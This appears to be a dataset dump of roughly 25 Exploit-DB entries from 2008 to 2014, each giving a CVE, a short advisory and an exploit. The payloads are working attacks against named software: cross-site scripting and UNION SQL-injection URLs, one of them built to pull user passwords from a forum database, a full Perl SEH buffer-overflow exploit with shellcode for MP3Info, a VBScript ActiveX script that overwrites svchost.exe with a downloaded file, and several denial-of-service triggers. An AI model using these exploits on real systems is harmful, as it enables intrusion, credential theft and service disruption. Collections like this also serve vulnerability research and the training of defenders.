QLWD/code_shield huggingface dataset:
标题: Dynamic MP3 Lister 2.0.1 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32364 CVE: 2008-4174 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/31151/info

Dynamic MP3 Lister is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Dynamic MP3 Lister 2.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?currentpath=[XSS]&sort=[XSS]&invert=[XSS]
http://www.example.com/index.php?sort=[XSS]&invert=[XSS]&currentpath=[XSS]&search=[XSS] URL: https://www.exploit-db.com/exploits/32364
标题: MP3Info 0.8.5a - Local Buffer Overflow (SEH) EDB-ID: 32358 CVE: 2006-2465 类型: LOCAL 平台: WINDOWS 发布日期: 2014-03-19 漏洞利用脚本: # Exploit Title: mp3info SEH exploit
# Date: 18 March 2014
# Exploit Author: Ayman Sagy <aymansagy [at] gmail.com>
# Vendor Homepage: http://ibiblio.org/mp3info/
# Software Link: https://www.exploit-db.com/apps/cb7b619a10a40aaac2113b87bb2b2ea2-mp3info-0.8.5a.tgz
# Version: MP3Info 0.8.5
# Tested on: Windows 7 Ultimate 64 and 32 bit
# CVE : 2006-2465
# Original POC: http://www.exploit-db.com/exploits/31220/
#
# The process memory region starts with a null byte but exploitation is still possible because of 
# the little endian architecture provided that the return address gets placed at the end of the buffer,
# this however confines us in the tiny 4-byte area after pop/pop/retn
# Using a couple of trampolines I jumped back to the beginning of the buffer which is 533 bytes, enough to fit a calc payload
#
# run in the same directory of MP3Info, the exploit will launch mp3info with the payload as argument: perl mp3infosploit.pl



# mangled chars: F4->34 F3->33
# msfpayload windows/exec cmd=calc R | msfencode -b '\x00\0d\0a\x09' -t perl
$shellcode = 
"\xdb\xd4\xba\x2b\xc5\x7d\xb7\xd9\x74\x24\xf4\x58\x29\xc9" .
"\xb1\x32\x31\x50\x17\x83\xe8\xfc\x03\x7b\xd6\x9f\x42\x87" .
"\x30\xd6\xad\x77\xc1\x89\x24\x92\xf0\x9b\x53\xd7\xa1\x2b" .
"\x17\xb5\x49\xc7\x75\x2d\xd9\xa5\x51\x42\x6a\x03\x84\x6d" .
"\x6b\xa5\x08\x21\xaf\xa7\xf4\x3b\xfc\x07\xc4\xf4\xf1\x46" .
"\x01\xe8\xfa\x1b\xda\x67\xa8\x8b\x6f\x35\x71\xad\xbf\x32" .
"\xc9\xd5\xba\x84\xbe\x6f\xc4\xd4\x6f\xfb\x8e\xcc\x04\xa3" .
"\x2e\xed\xc9\xb7\x13\xa4\x66\x03\xe7\x37\xaf\x5d\x08\x06" .
"\x8f\x32\x37\xa7\x02\x4a\x7f\x0f\xfd\x39\x8b\x6c\x80\x39" .
"\x48\x0f\x5e\xcf\x4d\xb7\x15\x77\xb6\x46\xf9\xee\x3d\x44" .
"\xb6\x65\x19\x48\x49\xa9\x11\x74\xc2\x4c\xf6\xfd\x90\x6a" .
"\xd2\xa6\x43\x12\x43\x02\x25\x2b\x93\xea\x9a\x89\xdf\x18" .
"\xce\xa8\xbd\x76\x11\x38\xb8\x3f\x11\x42\xc3\x6f\x7a\x73" .
"\x48\xe0\xfd\x8c\x9b\x45\xf1\xc6\x86\xef\x9a\x8e\x52\xb2" .
"\xc6\x30\x89\xf0\xfe\xb2\x38\x88\x04\xaa\x48\x8d\x41\x6c" .
"\xa0\xff\xda\x19\xc6\xac\xdb\x0b\xa5\x33\x48\xd7\x2a";


$exploit = "\x90"x156 . $shellcode;
$exploit .= "\x41"x142;

         
$exploit .=        # larger jump to beginning of buffer
   "\x58\x58\x58".    # 58 POP EAX x 3
   "\x80\xc4\x02".    # 80C4 02          ADD AH,2
   "\xFF\xE0";     # FFE0             JMP EAX  


$exploit .= "\xEB\xEF\x90\x90"; # short jmp back to get some space


#print length($exploit);
#exit(0);
print "\n";
$seh = "\x46\x34\x40"; # 0x00403446  mp3info.exe             POP EBX 

$exploit = $exploit . $seh;

system("mp3info.exe", $exploit); URL: https://www.exploit-db.com/exploits/32358
标题: Horde Application Framework 3.2.1 - Forward Slash Insufficient Filtering Cross-Site Scripting EDB-ID: 32353 CVE: 2008-3824 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/31107/info

Horde Framework is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects versions prior to Horde Framework 3.1.9 and 3.2.2.

Note that additional products that use the Horde Framework may also be vulnerable.

<body/onload=alert(/hello/)> URL: https://www.exploit-db.com/exploits/32353
标题: Hot Links SQL-PHP - 'news.php' SQL Injection EDB-ID: 32355 CVE: 2008-7120 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/31118/info

Hot Links SQL-PHP is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Hot Links SQL-PHP 3 and prior versions are vulnerable. 

http://www.example.com/news.php?id=-1+union+all+select+1,concat(version(),0x3a,database(),0x3a,user()),null,null-- URL: https://www.exploit-db.com/exploits/32355
标题: Horde 3.2 - MIME Attachment Filename Insufficient Filtering Cross-Site Scripting EDB-ID: 32354 CVE: 2008-3823 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/31110/info

Horde Framework is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects Horde Framework 3.2 through 3.2.1.

Note that additional products that use the Horde Framework may also be vulnerable.

<body/onload=alert(/hello/)> URL: https://www.exploit-db.com/exploits/32354
标题: ZoneAlarm Security Suite 7.0 - AntiVirus Directory Path Buffer Overflow (PoC) EDB-ID: 32356 CVE: 2008-7009 类型: DOS 平台: WINDOWS 发布日期: 2008-09-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/31124/info

ZoneAlarm Security Suite is prone to a buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied input when performing virus scans on long directory paths.

Remote attackers may leverage this issue to execute arbitrary code with SYSTEM-level privileges and gain complete access to the vulnerable computer. Failed attacks will cause denial-of-service conditions.

This issue affects ZoneAlarm Security Suite 7.0.483.000; other versions may also be affected. 

To demonstrate this issue, construct multiple nested subdirectories, naming the root directory string1 below, and each nested directory string2:

string1:
ASCII: ? ? AAAAAAAAAAAAAAAAAAA ? ? AAAAAAAAAAAAAAAAAAA ? ? AAAAAAAAAAAAAAAAAAA ? ? ? AAAAAAAAAAAAAAAAAAA ? ? AAAAAAAAAAAAAAAAAAA ? ? AAAAAAAAAAAAAAAAAAA ? ? ? A ? ? AAAAAAAAAAAAAAAAAAA ? ? AAAAAAAAAAAAAAAAAAA

HEX : b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 b7 20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 b7 20 b7 20 85 20 20 41 20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41

string2:
ASCII: ???????????AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA????AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

HEX: 85 85 85 85 85 85 85 85 85 85 85 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 85 85 85 85 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 URL: https://www.exploit-db.com/exploits/32356
标题: MySQL 6.0.4 - Empty Binary String Literal Remote Denial of Service EDB-ID: 32348 CVE: 2008-3963 类型: DOS 平台: LINUX 发布日期: 2008-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/31081/info

MySQL is prone to a remote denial-of-service vulnerability because it fails to handle empty binary string literals.

An attacker can exploit this issue to crash the application, denying access to legitimate users.

This issue affects versions prior to MySQL 5.0.66, 5.1.26, and 6.0.6. 

The following proof-of-concept query is available:

select b''; URL: https://www.exploit-db.com/exploits/32348
标题: E-PHP B2B Trading Marketplace Script - 'listings.php' SQL Injection EDB-ID: 32346 CVE: 2008-4458 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/31072/info

E-Php B2B Trading Marketplace Script is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/listings.php?browse=product&cid=-1+union+all+select+1,concat(version(),char(58),database(),char(58),user()),3,4,5,6,7,8-- URL: https://www.exploit-db.com/exploits/32346
标题: Microsoft Windows - Image Acquisition Logger ActiveX Control Arbitrary File Overwrite (1) EDB-ID: 32344 CVE: 2008-3957 类型: REMOTE 平台: WINDOWS 发布日期: 2008-09-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/31069/info

Microsoft Windows Image Acquisition Logger ActiveX control is prone to a vulnerability that lets attackers overwrite files with arbitrary, attacker-controlled content. The issue occurs because the control fails to sanitize user-supplied input.

An attacker can exploit this issue to overwrite files with attacker-supplied data, which will aid in further attacks. 

<object classid="clsid:A1E75357-881A-419E-83E2-BB16DB197C68" id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
  Sub tryMe
   dim remURL
   remURL = "http://victim.com/svchost.exe"
   test.Open remURL, True
   test.Save "C:\WINDOWS\system32\svchost.exe", True
 End Sub
</script> URL: https://www.exploit-db.com/exploits/32344
标题: Apple Bonjour for Windows 1.0.4 - mDNSResponder Null Pointer Dereference Denial of Service EDB-ID: 32350 CVE: 2008-2326 类型: DOS 平台: WINDOWS 发布日期: 2008-09-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/31091/info

Apple Bonjour for Windows is prone to a denial-of-service issue because of a NULL-pointer dereference.

Successfully exploiting this issue will allow attackers to crash the mDNSResponder system service, denying service to legitimate users.

Bonjour for Windows 1.0.4 is vulnerable. 

http://diechromedie.1234567890123456789012345678901234567890123456789012345678901234.local/ URL: https://www.exploit-db.com/exploits/32350
标题: UBBCentral UBB.Threads 7.3.1 - 'Forum[]' Array SQL Injection EDB-ID: 32347 CVE: 2008-6970 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/31074/info

UBB.threads is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The issue affects UBB.threads 7.3.1 (released before September 2, 2008) and prior versions.

ubb=dosearch
&fromsearch=1
&Words=test
&Forum[]=f-99')) UNION SELECT '1
&Forum[]=f' %2b MID('' %2b USER_PASSWORD %2b '
&Forum[]=f1
&Forum[]=f1') %2b '
&Forum[]=f1
&Forum[]=f1' FROM ubbt_USERS/* URL: https://www.exploit-db.com/exploits/32347
标题: Apple iOS 1.1.4/2.0 / iPod 1.1.4/2.0 touch Safari WebKit - 'alert()' Remote Denial of Service EDB-ID: 32341 CVE: 2008-3950 类型: DOS 平台: HARDWARE 发布日期: 2008-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/31061/info

Apple iPhone and iPod touch are prone to a remote denial-of-service vulnerability that occurs in the WebKit library used by the Safari browser.

Remote attackers can exploit this issue to crash the affected browser installed on the devices, denying service to legitimate users.

The following devices and corresponding firmware are affected:

iPhone 1.1.4 and 2.0
iPod touch 1.1.4 and 2.0

<html> <body> <form> <script type="text/javascript" language="JavaScript"> var st = "A"; alert ( "Crashing Safari on iPhone..." ); for ( var d = 1 ; d <= 16 ; d ++ ) { st += st; } alert ( st ); </script> </form> </body> </html> URL: https://www.exploit-db.com/exploits/32341
标题: eXtrovert software Thyme 1.3 - 'pick_users.php' SQL Injection EDB-ID: 32342 CVE: 2008-4459 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/31063/info

eXtrovert software Thyme is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Thyme 1.3 is affected; other versions may also be vulnerable. 

Submit the following to the input field at /thyme/modules/groups/pick_users.php:
' union all select proof,of,concept from mysql.db/* URL: https://www.exploit-db.com/exploits/32342
标题: phpAdultSite CMS - 'results_per_page' Cross-Site Scripting EDB-ID: 32338 CVE: 2008-6979 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/31057/info

phpAdultSite is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

index.php?&results_per_page=50"><script type="text/javascript">alert(/XSS vuln by DavidSopas.com/)</script> URL: https://www.exploit-db.com/exploits/32338
标题: CeleronDude Uploader 6.1 - 'account.php' Cross-Site Scripting EDB-ID: 32334 CVE: 2008-6396 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/31010/info

Celerondude Uploader is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Celerondude Uploader 6.1 is vulnerable; other versions may also be affected. 

In the login page , username field enter : "><script>alert(1);</script>" URL: https://www.exploit-db.com/exploits/32334
标题: XRms 1.99.2 - 'case_title' Cross-Site Scripting EDB-ID: 32325 CVE: 2008-3664 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/31008/info
      
XRMS CRM is prone to multiple input-validation vulnerabilities, including an unspecified SQL-injection issue, an HTML-injection issue, and multiple cross-site scripting issues. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.
      
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
    
http://www.example.com/xrms/cases/some.php?case_title="><script>alert(1);</script> URL: https://www.exploit-db.com/exploits/32325
标题: XRms 1.99.2 - 'file_id' Cross-Site Scripting EDB-ID: 32326 CVE: 2008-3664 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/31008/info
       
XRMS CRM is prone to multiple input-validation vulnerabilities, including an unspecified SQL-injection issue, an HTML-injection issue, and multiple cross-site scripting issues. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.
       
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
     
http://www.example.com/xrms/files/some.php?file_id="><script>alert(1);</script> URL: https://www.exploit-db.com/exploits/32326
标题: XRms 1.99.2 - 'starting' Cross-Site Scripting EDB-ID: 32327 CVE: 2008-3664 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/31008/info
        
XRMS CRM is prone to multiple input-validation vulnerabilities, including an unspecified SQL-injection issue, an HTML-injection issue, and multiple cross-site scripting issues. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.
        
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
      
http://www.example.com/xrms/reports/custom/mileage.php?starting="><script>alert(1);</script> URL: https://www.exploit-db.com/exploits/32327
标题: D-Link DIR-100 1.12 - Security Bypass EDB-ID: 32336 CVE: 2008-4133 类型: REMOTE 平台: HARDWARE 发布日期: 2008-09-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/31050/info

D-Link DIR-100 is affected by a vulnerability that allows attackers to bypass security restrictions and access sites that are blocked by an administrator.

D-Link DIR-100 devices with firmware 1.12 are vulnerable; other versions may be affected as well. 

http://www.example.com/?foo=aaa(...) URL: https://www.exploit-db.com/exploits/32336
标题: Microsoft Organization Chart 2 - Remote Code Execution EDB-ID: 32339 CVE: 2008-3956 类型: REMOTE 平台: WINDOWS 发布日期: 2008-09-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/31059/info

Microsoft Organization Chart is prone to a remote code-execution vulnerability because of a memory-access violation.

Remote attackers can exploit this issue by enticing victims into opening a maliciously crafted Organization Chart document.

Successful exploits may allow attackers to execute arbitrary code within the context of the affected application. Failed exploit attempts will likely result in a denial of service.

Microsoft Organization Chart 2.00,19 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32339.rar URL: https://www.exploit-db.com/exploits/32339
标题: Silentum LoginSys 1.0 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32337 CVE: 2008-6764 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/31055/info

Silentum LoginSys is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Silentum LoginSys 1.0.0 is vulnerable; other versions may also be affected. 

http://www.example.com/login.php?message=[XSS] URL: https://www.exploit-db.com/exploits/32337
标题: XRms 1.99.2 - 'campaign_title' Cross-Site Scripting EDB-ID: 32323 CVE: 2008-3664 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/31008/info
    
XRMS CRM is prone to multiple input-validation vulnerabilities, including an unspecified SQL-injection issue, an HTML-injection issue, and multiple cross-site scripting issues. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.
    
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
http://www.example.com/xrms/campaigns/some.php?campaign_title="><script>alert(1);</script> URL: https://www.exploit-db.com/exploits/32323
标题: XRms 1.99.2 - 'last_name' Cross-Site Scripting EDB-ID: 32322 CVE: 2008-3664 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/31008/info
   
XRMS CRM is prone to multiple input-validation vulnerabilities, including an unspecified SQL-injection issue, an HTML-injection issue, and multiple cross-site scripting issues. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
http://www.example.com/xrms/contacts/some.php?last_name="><script>alert(1);</script> URL: https://www.exploit-db.com/exploits/32322
标题: XRms 1.99.2 - 'login.php?target' Cross-Site Scripting EDB-ID: 32318 CVE: 2008-3664 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/31008/info

XRMS CRM is prone to multiple input-validation vulnerabilities, including an unspecified SQL-injection issue, an HTML-injection issue, and multiple cross-site scripting issues. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/xrms/login.php?target="><script>alert(1);</script> URL: https://www.exploit-db.com/exploits/32318
标题: IDevSpot BizDirectory 2.04 - 'page' Cross-Site Scripting EDB-ID: 32312 CVE: 2008-3941 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/30980/info

IDevSpot BizDirectory is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

BizDirectory 2.04 is vulnerable; other verisons may also be affected. 

http://www.example.com/?page=[XsS]&mode=search URL: https://www.exploit-db.com/exploits/32312